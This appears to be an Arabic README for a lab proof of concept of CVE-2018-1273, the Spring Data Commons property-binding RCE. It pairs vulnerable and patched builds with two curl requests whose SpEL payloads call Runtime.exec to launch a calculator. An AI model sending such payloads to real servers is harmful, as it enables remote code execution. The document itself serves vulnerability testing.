
إثبات المفهوم لـ CVE-2018-1273: تنفيذ تعليمات برمجية عن بُعد (RCE) عبر ربط الخصائص في Spring Data Commons باستخدام معاملات طلب مصمَّمة ضد نقاط نهاية REST. يتضمن إصدارات قابلة للاختراق ومُصلَّحة للاختبار.
إصدارات Spring Data Commons التي تسبق 1.13 إلى 1.13.10، و2.0 إلى 2.0.5، والإصدارات القديمة غير المدعومة تحتوي على ثغرة في ربط الخصائص ناتجة عن معالجة غير صحيحة للعناصر الخاصة. يمكن لمستخدم ضار بعيد غير مصدق (أو مهاجم) توفير معاملات طلب مصممة خصيصًا ضد موارد HTTP المدعومة بـ Spring Data REST أو استخدام ربط حمولة الطلب القائم على الإسقاط في Spring Data مما قد يؤدي إلى هجوم تنفيذ تعليمات برمجية عن بعد.
مزيد من المعلومات هنا
يمكن اختبار التطبيق باستخدام الإصدار الضعيف أو الإصدار المُصحح من Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
نفذ الأمر التالي للتحقق من إمكانية استغلال الثغرة:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
تم الإنشاء بواسطة https://www.arima.eu
